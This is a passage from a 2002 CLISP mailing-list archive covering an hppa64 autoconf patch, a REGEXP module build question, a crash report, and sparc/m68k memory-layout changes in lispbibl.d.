IC0zMTgsNyArMzE4LDcgQEAKICAgYWxwaGFldls0LThdIHwgYWxwaGFldjU2IHwgYWxwaGFwY2E1 WzY3XSB8IGFscGhhZXY2Wzc4XSApCiAgICAgaG9zdF9jcHU9YWxwaGEKICAgICA7OwotICBocHBh MS4wIHwgaHBwYTEuMSB8IGhwcGEyLjAgKQorICBocHBhMS4wIHwgaHBwYTEuMSB8IGhwcGEyLjAg fCBocHBhNjQgKQogICAgIGhvc3RfY3B1PWhwcGEKICAgICA7OwogICBwb3dlcnBjICkKZGlmZiAt cnUgY2xpc3AtMi4yOC5vbGQvc3JjL2F1dG9jb25mL2FjbG9jYWwubTQgY2xpc3AtMi4yOC9zcmMv YXV0b2NvbmYvYWNsb2NhbC5tNAotLS0gY2xpc3AtMi4yOC5vbGQvc3JjL2F1dG9jb25mL2FjbG9j YWwubTQJVGh1IE1hciAyMSAxMzoxNTo0NSAyMDAyCisrKyBjbGlzcC0yLjI4L3NyYy9hdXRvY29u Zi9hY2xvY2FsLm00CVdlZCBKdW4gMjYgMDI6MzM6MzcgMjAwMgpAQCAtNjkxLDcgKzY5MSw3IEBA CiAgIGFscGhhZXZbNC04XSB8IGFscGhhZXY1NiB8IGFscGhhcGNhNVs2N10gfCBhbHBoYWV2Nls3 OF0gKQogICAgIGhvc3RfY3B1PWFscGhhCiAgICAgOzsKLSAgaHBwYTEuMCB8IGhwcGExLjEgfCBo cHBhMi4wICkKKyAgaHBwYTEuMCB8IGhwcGExLjEgfCBocHBhMi4wIHwgaHBwYTY0ICkKICAgICBo b3N0X2NwdT1ocHBhCiAgICAgOzsKICAgcG93ZXJwYyApCg== --------------Boundary-00=_RXHALQWIP7FLYAE7MG4V-- From samuel.steingold@verizon.net Wed Jun 26 05:34:13 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NBzw-0007k1-00 for ; Wed, 26 Jun 2002 05:34:12 -0700 Received: (cpmta 22 invoked from network); 26 Jun 2002 05:34:10 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 26 Jun 2002 05:34:10 -0700 X-Sent: 26 Jun 2002 12:34:10 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 05:35:03 2002 X-Original-Date: 26 Jun 2002 08:34:07 -0400 > * In message > * On the subject of "[clisp-list] hppa64 build fix" > * Sent on Wed, 26 Jun 2002 02:39:27 +0100 > * Honorable Will Newton writes: > > This patch enables avcall support for hppa 64bit architectures. > > Only in clisp-2.28.old/ffcall/autoconf: .aclocal.m4.swp > diff -ru clisp-2.28.old/ffcall/autoconf/aclocal.m4 clisp-2.28/ffcall/autoconf/aclocal.m4 > --- clisp-2.28.old/ffcall/autoconf/aclocal.m4 Thu Mar 21 13:25:08 2002 > +++ clisp-2.28/ffcall/autoconf/aclocal.m4 Wed Jun 26 02:34:06 2002 > @@ -318,7 +318,7 @@ > alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] ) > host_cpu=alpha > ;; > - hppa1.0 | hppa1.1 | hppa2.0 ) > + hppa1.0 | hppa1.1 | hppa2.0 | hppa64 ) > host_cpu=hppa > ;; > powerpc ) > diff -ru clisp-2.28.old/src/autoconf/aclocal.m4 clisp-2.28/src/autoconf/aclocal.m4 > --- clisp-2.28.old/src/autoconf/aclocal.m4 Thu Mar 21 13:15:45 2002 > +++ clisp-2.28/src/autoconf/aclocal.m4 Wed Jun 26 02:33:37 2002 > @@ -691,7 +691,7 @@ > alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] ) > host_cpu=alpha > ;; > - hppa1.0 | hppa1.1 | hppa2.0 ) > + hppa1.0 | hppa1.1 | hppa2.0 | hppa64 ) > host_cpu=hppa > ;; > powerpc ) why are you modifying only one of CL_CANONICAL_HOST_CPU and CL_CANONICAL_HOST_CPU_FOR_FFCALL? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux It's not just a language, it's an adventure. Common Lisp. From will@misconception.org.uk Wed Jun 26 06:26:15 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NCoI-00058Z-00 for ; Wed, 26 Jun 2002 06:26:14 -0700 Received: from modem-62.articuno.dialup.pol.co.uk ([217.135.26.62] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NCoE-0004Jo-00 for clisp-list@lists.sourceforge.net; Wed, 26 Jun 2002 14:26:11 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_MSEB6XP5YQVX9U4VDASO" Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 06:27:04 2002 X-Original-Date: Wed, 26 Jun 2002 14:29:10 +0100 --------------Boundary-00=_MSEB6XP5YQVX9U4VDASO Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Wednesday 26 Jun 2002 1:34 pm, Sam Steingold wrote: > why are you modifying only one of CL_CANONICAL_HOST_CPU and > CL_CANONICAL_HOST_CPU_FOR_FFCALL? Oops. Sorry. Amended patch attached. Should be right this time. --------------Boundary-00=_MSEB6XP5YQVX9U4VDASO Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-hppa64.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-hppa64.diff" ZGlmZiAtcnUgY2xpc3AtMi4yOC5vbGQvZmZjYWxsL2F1dG9jb25mL2FjbG9jYWwubTQgY2xpc3At Mi4yOC9mZmNhbGwvYXV0b2NvbmYvYWNsb2NhbC5tNAotLS0gY2xpc3AtMi4yOC5vbGQvZmZjYWxs L2F1dG9jb25mL2FjbG9jYWwubTQJVGh1IE1hciAyMSAxMzoyNTowOCAyMDAyCisrKyBjbGlzcC0y LjI4L2ZmY2FsbC9hdXRvY29uZi9hY2xvY2FsLm00CVdlZCBKdW4gMjYgMDI6MzQ6MDYgMjAwMgpA QCAtMzE4LDcgKzMxOCw3IEBACiAgIGFscGhhZXZbNC04XSB8IGFscGhhZXY1NiB8IGFscGhhcGNh NVs2N10gfCBhbHBoYWV2Nls3OF0gKQogICAgIGhvc3RfY3B1PWFscGhhCiAgICAgOzsKLSAgaHBw YTEuMCB8IGhwcGExLjEgfCBocHBhMi4wICkKKyAgaHBwYTEuMCB8IGhwcGExLjEgfCBocHBhMi4w IHwgaHBwYTY0ICkKICAgICBob3N0X2NwdT1ocHBhCiAgICAgOzsKICAgcG93ZXJwYyApCmRpZmYg LXJ1IGNsaXNwLTIuMjgub2xkL3NyYy9hdXRvY29uZi9hY2xvY2FsLm00IGNsaXNwLTIuMjgvc3Jj L2F1dG9jb25mL2FjbG9jYWwubTQKLS0tIGNsaXNwLTIuMjgub2xkL3NyYy9hdXRvY29uZi9hY2xv Y2FsLm00CVRodSBNYXIgMjEgMTM6MTU6NDUgMjAwMgorKysgY2xpc3AtMi4yOC9zcmMvYXV0b2Nv bmYvYWNsb2NhbC5tNAlXZWQgSnVuIDI2IDE0OjIzOjIyIDIwMDIKQEAgLTY5MSw3ICs2OTEsNyBA QAogICBhbHBoYWV2WzQtOF0gfCBhbHBoYWV2NTYgfCBhbHBoYXBjYTVbNjddIHwgYWxwaGFldjZb NzhdICkKICAgICBob3N0X2NwdT1hbHBoYQogICAgIDs7Ci0gIGhwcGExLjAgfCBocHBhMS4xIHwg aHBwYTIuMCApCisgIGhwcGExLjAgfCBocHBhMS4xIHwgaHBwYTIuMCB8IGhwcGE2NCApCiAgICAg aG9zdF9jcHU9aHBwYQogICAgIDs7CiAgIHBvd2VycGMgKQpAQCAtNzU0LDcgKzc1NCw3IEBACiAg IGFscGhhZXZbNC04XSB8IGFscGhhZXY1NiB8IGFscGhhcGNhNVs2N10gfCBhbHBoYWV2Nls3OF0g KQogICAgIGhvc3RfY3B1PWFscGhhCiAgICAgOzsKLSAgaHBwYTEuMCB8IGhwcGExLjEgfCBocHBh Mi4wICkKKyAgaHBwYTEuMCB8IGhwcGExLjEgfCBocHBhMi4wIHwgaHBwYTY0ICkKICAgICBob3N0 X2NwdT1ocHBhCiAgICAgOzsKICAgcG93ZXJwYyApCg== --------------Boundary-00=_MSEB6XP5YQVX9U4VDASO-- From samuel.steingold@verizon.net Wed Jun 26 06:58:35 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NDJa-0001Jm-00 for ; Wed, 26 Jun 2002 06:58:34 -0700 Received: (cpmta 8559 invoked from network); 26 Jun 2002 06:58:27 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 26 Jun 2002 06:58:27 -0700 X-Sent: 26 Jun 2002 13:58:27 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 06:59:05 2002 X-Original-Date: 26 Jun 2002 09:58:26 -0400 > * In message > * On the subject of "Re: [clisp-list] hppa64 build fix" > * Sent on Wed, 26 Jun 2002 14:29:10 +0100 > * Honorable Will Newton writes: > > On Wednesday 26 Jun 2002 1:34 pm, Sam Steingold wrote: > > > why are you modifying only one of CL_CANONICAL_HOST_CPU and > > CL_CANONICAL_HOST_CPU_FOR_FFCALL? > > Oops. Sorry. Amended patch attached. Should be right this time. actually, both aclocal.m4 have both CL_CANONICAL_HOST_CPU_FOR_FFCALL & CL_CANONICAL_HOST_CPU. :-) Never mind: these files are generated anyway (from src/m4/general.m4). I put the patch in. Thanks. [PS: when is 2.28 moving from `unstable' to `stable' on debian?] -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux What was the best thing before sliced bread? From will@misconception.org.uk Wed Jun 26 07:40:54 2002 Received: from mail7.svr.pol.co.uk ([195.92.193.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NDyX-0006ta-00 for ; Wed, 26 Jun 2002 07:40:53 -0700 Received: from modem-455.articuno.dialup.pol.co.uk ([217.135.27.199] helo=there) by mail7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NDyU-0002DC-00 for clisp-list@lists.sourceforge.net; Wed, 26 Jun 2002 15:40:51 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 07:41:04 2002 X-Original-Date: Wed, 26 Jun 2002 15:43:50 +0100 On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote: > actually, both aclocal.m4 have both CL_CANONICAL_HOST_CPU_FOR_FFCALL & > CL_CANONICAL_HOST_CPU. :-) > Never mind: these files are generated anyway (from src/m4/general.m4). I kinda lost touch with exactly how clisp does things in that area. Thanks. > [PS: when is 2.28 moving from `unstable' to `stable' on debian?] It would be possible to manually push it in - at the moment it is held up by the fact that the stable version builds on sparc and m68k and the unstable one doesn't. When I get clisp building on: i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm (in need of tweaking) or a decent subset thereof, I will make sure it goes in. Hopefully I can figure out the m68k/sparc crash before too long anyway. From samuel.steingold@verizon.net Wed Jun 26 08:07:24 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NEOB-0001u6-00 for ; Wed, 26 Jun 2002 08:07:23 -0700 Received: (cpmta 27390 invoked from network); 26 Jun 2002 08:07:17 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 26 Jun 2002 08:07:17 -0700 X-Sent: 26 Jun 2002 15:07:17 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 08:08:05 2002 X-Original-Date: 26 Jun 2002 11:07:15 -0400 > * In message > * On the subject of "Re: [clisp-list] hppa64 build fix" > * Sent on Wed, 26 Jun 2002 15:43:50 +0100 > * Honorable Will Newton writes: > > On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote: > > [PS: when is 2.28 moving from `unstable' to `stable' on debian?] > > It would be possible to manually push it in - at the moment it is held > up by the fact that the stable version builds on sparc and m68k and > the unstable one doesn't. When I get clisp building on: > > i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm > (in need of tweaking) > > or a decent subset thereof, I will make sure it goes in. Hopefully I > can figure out the m68k/sparc crash before too long anyway. interesting -- are you saying that there is a CLISP version that builds on sparc/linux with glibc 2.2?! I thought that all versions build with glibc 2.1 and none with glibc 2.2! if this is indeed the case, you can do a binary search in the CVS to pin-point the change that broke stuff. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Nostalgia isn't what it used to be. From will@misconception.org.uk Wed Jun 26 08:29:32 2002 Received: from mail7.svr.pol.co.uk ([195.92.193.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NEja-0005sp-00 for ; Wed, 26 Jun 2002 08:29:30 -0700 Received: from modem-455.articuno.dialup.pol.co.uk ([217.135.27.199] helo=there) by mail7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NEjX-0002TY-00 for clisp-list@lists.sourceforge.net; Wed, 26 Jun 2002 16:29:28 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] hppa64 build fix X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 08:30:10 2002 X-Original-Date: Wed, 26 Jun 2002 16:23:43 +0100 On Wednesday 26 Jun 2002 4:07 pm, Sam Steingold wrote: > interesting -- are you saying that there is a CLISP version that builds > on sparc/linux with glibc 2.2?! No. Debian stable still runs 2.1. When the next stable Debian release occurs stable will have 2.27 and no sparc build. From kaz@footprints.net Wed Jun 26 09:44:02 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NFte-0008Mz-00 for ; Wed, 26 Jun 2002 09:43:58 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17NFtX-00081L-00 for clisp-list@lists.sourceforge.net; Wed, 26 Jun 2002 09:43:51 -0700 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Strange crash, CLISP 2.27.2 installation. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 09:45:06 2002 X-Original-Date: Wed, 26 Jun 2002 09:43:51 -0700 (PDT) Upon evaluating the following (incorrect) expression: (coerce 'vector (list 1)) I get: *** - handle_fault error2 ! address = 0x96 not in [0x202AE000,0x20375EB4) ! SIGSEGV cannot be cured. Fault address = 0x96. Segmentation fault (core dumped) Haven't tried under 2.28, but it does not repro in an installation of 2.27. -- Meta-CVS: solid version control tool with directory structure versioning. http://users.footprints.net/~kaz/mcvs.html http://freshmeat.net/projects/mcvs From hin@van-halen.alma.com Wed Jun 26 10:26:32 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NGYp-0005b4-00 for ; Wed, 26 Jun 2002 10:26:31 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5QHQSQw009763 for ; Wed, 26 Jun 2002 13:26:28 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5QHQS1v009760; Wed, 26 Jun 2002 13:26:28 -0400 Message-Id: <200206261726.g5QHQS1v009760@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Building regexp package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 10:27:04 2002 X-Original-Date: Wed, 26 Jun 2002 13:26:28 -0400 I'm having trouble getting access to the REGEXP pacakge that comes with CLISP. I ran the build and it appeared to compile the source but Lisp doesn't seem to "see" the package: [1]> (use-package "REGEXP") *** - There is no package with name "REGEXP" 1. Break [2]> I noticed there is an executable, "src/full/lisp.run" and when I run that (w/ args "-M lispinit.mem") then I *can* get the package. But this "fuller" Lisp is not what got installed in my public directory when I did the "make install" Am I missing something? Do I have to somehow tell the build that I want the "full" install? I expected that to just happen as an effect of my having asked for the add-on(s). BTW, I did "makemake" as below. Thanks in advance. ./makemake \ --with-readline \ --with-dynamic-ffi \ --with-dynamic-modules \ --with-export-syscalls \ --with-module=wildcard \ --with-module=regexp \ --with-module=bindings/linuxlibc6 \ debug \ > Makefile --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From kaz@footprints.net Wed Jun 26 10:37:09 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NGj7-0007Z5-00 for ; Wed, 26 Jun 2002 10:37:09 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17NGj6-0000I8-00; Wed, 26 Jun 2002 10:37:08 -0700 From: Kaz Kylheku To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net In-Reply-To: <200206261726.g5QHQS1v009760@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Building regexp package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 10:38:02 2002 X-Original-Date: Wed, 26 Jun 2002 10:37:08 -0700 (PDT) On Wed, 26 Jun 2002, John K. Hinsdale wrote: > I noticed there is an executable, "src/full/lisp.run" and when I run > that (w/ args "-M lispinit.mem") then I *can* get the package. But > this "fuller" Lisp is not what got installed in my public directory > when I did the "make install" > > Am I missing something? Maybe you are not selecting the ``full'' linkkit using the -k command line option? Are you running clisp -K full ? > Do I have to somehow tell the build that I > want the "full" install? I expected that to just happen as an effect > of my having asked for the add-on(s). No, the add-ons are in ``-K full''. Without that, you get the vanilla CLISP. From samuel.steingold@verizon.net Wed Jun 26 12:02:55 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NI3u-0000ui-00 for ; Wed, 26 Jun 2002 12:02:42 -0700 Received: (cpmta 6157 invoked from network); 26 Jun 2002 12:02:36 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 26 Jun 2002 12:02:36 -0700 X-Sent: 26 Jun 2002 19:02:36 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 95 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 12:03:45 2002 X-Original-Date: 26 Jun 2002 15:02:34 -0400 > * In message > * On the subject of "Re: [clisp-list] hppa64 build fix" > * Sent on Wed, 26 Jun 2002 15:43:50 +0100 > * Honorable Will Newton writes: > > On Wednesday 26 Jun 2002 2:58 pm, Sam Steingold wrote: > > [PS: when is 2.28 moving from `unstable' to `stable' on debian?] > > It would be possible to manually push it in - at the moment it is held > up by the fact that the stable version builds on sparc and m68k and > the unstable one doesn't. When I get clisp building on: > > i386, alpha, powerpc, s390, (already built) hppa, mips, mipsel, arm > (in need of tweaking) > > or a decent subset thereof, I will make sure it goes in. Hopefully I > can figure out the m68k/sparc crash before too long anyway. I just built the current cvs clisp on the sourceforge compile farm sparc/linux machine. they do not have an m68k machine. You need the following change (no patch yet! :-) in lispbibl.d: # For pointers, the address takes the full word (with type info in the # lowest two bits). For immediate objects, we use 24 bits for the data # (but exclude the highest available bit, which is the garcol_bit). #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || (defined(SPARC) && defined(UNIX_LINUX))) #define oint_type_shift 0 #define oint_type_len 8 #define oint_type_mask 0x0000007FUL #define oint_data_shift 7 #define oint_data_len 24 #define oint_data_mask 0x7FFFFF80UL #define garcol_bit_o 31 #elif defined(I80386) && defined(UNIX_BEOS) # On BeOS 5, malloc()ed addresses are of the form 0x80...... Bit 31 # is therefore part of an address and cannot be used as garcol_bit. #define oint_type_shift 0 #define oint_type_len 8 #define oint_type_mask 0x0000003FUL #define oint_data_shift 6 #define oint_data_len 24 #define oint_data_mask 0x3FFFFFC0UL #define garcol_bit_o 30 #elif (defined(MC680X0) && defined(UNIX_LINUX)) || (defined(SPARC) && defined(UNIX_LINUX)) # On Sparc-Linux, malloc()ed addresses are of the form 0x0....... or # 0xe........ Bits 31..29 are therefore part of an address and cannot # be used as garcol_bit. We therefore choose bit 28 as garcol_bit. # Now, the 24 data bits of an immediate value must not intersect the # garcol_bit, so we use bits 27..4 for that (we could use bits 26..3 # as well). # On m68k-Linux, malloc()ed addresses are of the form 0x80...... or # 0xc0....... Bits 31..30 are therefore part of an address and cannot # be used as garcol_bit. We therefore have three choices: # data bits: bits 26..3, garcol_bit_o = 28/27 # data bits: bits 27..4, garcol_bit_o = 28/3 # data bits: bits 28..5, garcol_bit_o = 4/3 #define oint_type_shift 0 #define oint_type_len 32 #define oint_type_mask 0xE000000FUL #define oint_data_shift 4 #define oint_data_len 24 #define oint_data_mask 0x0FFFFFF0UL #define garcol_bit_o 28 #endif __REMOVE__ the special case for SPARC (and probably MC680X0). i.e., treat them just like all the other !TYPECODES !WIDE_HARD hosts. The reason appears to be that now malloc does not touch the top 3 bits. (gdb) p malloc(1000) $1 = (void *) 0x3e8 Oh, yeah, and this: # Immediate objects have a second type field. #if defined(SPARC) && defined(UNIX_LINUX) #define imm_type_shift 29 #else #define imm_type_shift 3 #endif has to be scrapped too, of course! Will, please try this on your sparc-linux and m68k-Linux boxes. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux To a Lisp hacker, XML is S-expressions with extra cruft. From hin@van-halen.alma.com Wed Jun 26 12:10:31 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NIBP-0001nN-00 for ; Wed, 26 Jun 2002 12:10:28 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5QJAJQw011095; Wed, 26 Jun 2002 15:10:19 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5QJAJ4b011092; Wed, 26 Jun 2002 15:10:19 -0400 Message-Id: <200206261910.g5QJAJ4b011092@van-halen.alma.com> From: "John K. Hinsdale" To: kaz@ashi.footprints.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Kaz Kylheku on Wed, 26 Jun 2002 10:37:08 -0700 (PDT)) Subject: [clisp-list] Re: Building regexp package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 12:11:15 2002 X-Original-Date: Wed, 26 Jun 2002 15:10:19 -0400 >> But this "fuller" Lisp is not what got installed in my public >> directory when I did the "make install" Am I missing something? > Maybe you are not selecting the ``full'' linkkit using the -k command > line option? Are you running > clisp -K full kaz,thanks. that was exactly my problem. From hin@van-halen.alma.com Wed Jun 26 12:30:00 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NIUJ-0004rh-00 for ; Wed, 26 Jun 2002 12:29:59 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5QJTvQw011118 for ; Wed, 26 Jun 2002 15:29:57 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5QJTv5J011115; Wed, 26 Jun 2002 15:29:57 -0400 Message-Id: <200206261929.g5QJTv5J011115@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Ensuring call of cleanup ("destructor") routine for "C" object Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 12:30:05 2002 X-Original-Date: Wed, 26 Jun 2002 15:29:57 -0400 Thought I'd give an update on my adventures integrating Oracle access w/ 